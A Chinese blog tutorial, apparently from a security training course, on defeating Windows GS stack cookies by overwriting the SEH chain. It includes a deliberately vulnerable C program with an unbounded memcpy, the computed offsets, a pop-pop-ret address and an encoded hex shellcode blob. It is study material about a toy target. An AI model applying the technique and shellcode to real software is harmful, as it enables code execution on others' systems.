Loading... ![image.png](http://www.irohane.top/usr/uploads/2021/01/2485029788.png) # 代码 ``` #include <iostream> #include <stdio.h> #include <Windows.h> #define PASSWORD "15PB" int VerifyPassword(char* pszPassword) { char szBuffer[50]; memcpy(szBuffer, pszPassword, strlen(pszPassword));//栈溢出主要位置,传进来的PszPassword 最大为512字 //最大是50字节 printf(szBuffer); return strcmp(PASSWORD, szBuffer); } int main() { int nFlag = 0; char szPassword[0x1000] = { 0 }; FILE* fp; LoadLibrary("user32.dll"); if (NULL == (fp = fopen("C:\\Users\\Administrator\\Desktop\\111.txt", "r+"))) { MessageBox(NULL, "打开文件失败", "error", NULL); exit(0); } fread(szPassword, sizeof(szPassword), 1, fp); nFlag = VerifyPassword(szPassword); if (nFlag)printf("密码错误!\n"); else printf("密码正确"); fclose(fp); system("pause"); return 1; } ``` 在程序开始前 调用secuity_cookie 加密当前ebp栈低 然后存到.data 段中 ![image.png](http://www.irohane.top/usr/uploads/2021/01/3982914569.png) 在程序结束的时候 调用security_check_cookie来确认当前ebp 和解密出来的ebp是否一致,如果不一致那么就代表栈溢出,直接报错。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/2692493940.png) # 过GS Step1. 尝试寻找绕过GS的方法 a. 找到未开启GS的函数(且此函数正好有漏洞); √ b. 想办法在安全cookie检查函数(__security_check_cookie)前,执行Shellcode; c. 想办法用堆喷射等方法覆盖系统cookie值,并将其改成自己的。 --- ## SEH链异常进行绕过GS 通过撑爆栈空间触发异常处理函数,并将系统异常处理handle修改为自己的Shellcode地址。 在内存布局中可以看到,当前堆栈的大小是A000。如果撑爆这个空间的话会跑到1A0000,而这块内存是只读区域。所以会爆出内存访问异常。提前进入SEH链。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/1186654829.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/348703339.png) ## 计算差值SEH位置 如果要覆盖SEH链,那么就必须知道溢出位置和SEH链位置,之间占有多大的差距。 获取BUFF局部变量地址 ![image.png](http://www.irohane.top/usr/uploads/2021/01/1693901101.png) 获取SEH链位置 ![image.png](http://www.irohane.top/usr/uploads/2021/01/527329648.png) 溢出位置:BUFF 19B0A8 SEH位置:SEH 19FF64 内存写入异常位置 1A0000 距离SEH位置 4EBC 距离写入异常位置 4F58 首先填充缓冲区使其报错。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/2957574679.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/3413103321.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/3392949050.png) 寻找一个未开启安全机制的模块,看来只能在主程序找了。 ![请输入图片描述](http://www.irohane.top/usr/uploads/2021/01/714628381.png) 找到 pop pop ret ![image.png](http://www.irohane.top/usr/uploads/2021/01/538394248.png) 在4EBC这里改为 401FD4 pop pop ret 401FD4 修改地址为 ![image.png](http://www.irohane.top/usr/uploads/2021/01/2773160319.png) 成功绕过。此时的距离已经离内存的底部很近了,所以不能用这块地址。这里我们直接使用缓冲区的地址 19B0A8。跳到这个位置上即可 ![image.png](http://www.irohane.top/usr/uploads/2021/01/2256087362.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/3114634671.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/2892656264.png) 那么就在前面填充,ShellCode即可。 ``` 33C0E8FFFFFFFFC3588D701B33C966B935018A040E340788040EE2F680340E07FFE66784EB27EC4F40627357756864466363756274744B6866634B6E657566757E427F460752746275343529636B6B074A62747466606245687F4607427F6E7357756864627474074E75686F66696207EF070707075C638C32370707078C710B8C711B8C318C510F555455EF120707078CF75D8A4CC6555655F8D75D54515755EF69070707528CEB84EB0B558C520F8C753B8A33358C717F8A33358C791B8A3B3D8E7AFB8C79278A3B3D8E7AFF8C79238A3B3D8E7AF334C7EC06478C72FF8C33818C520F8A33358C5A0B8A7CB4BE09070707FBF4A172E48C72F334F8618C3B418C52FB8C33BD8C520F8A03355D8CE25AC50F07528CEB84EB0F8C5A138A4CD76D076D0756F8520B8A4CDC5657F852178E42FB8A4CE056F8720FF852178E42FF8A4CF46D0756566D07F852FB6D07F852FF8CE25AC5170707 ``` ![image.png](http://www.irohane.top/usr/uploads/2021/01/4064055701.png) 成功跳转 ![image.png](http://www.irohane.top/usr/uploads/2021/01/4202599107.png) 成功显示 ![image.png](http://www.irohane.top/usr/uploads/2021/01/63643359.png) 最后修改:2021 年 01 月 20 日 © 允许规范转载 赞 0 如果觉得我的文章对你有用,请随意赞赏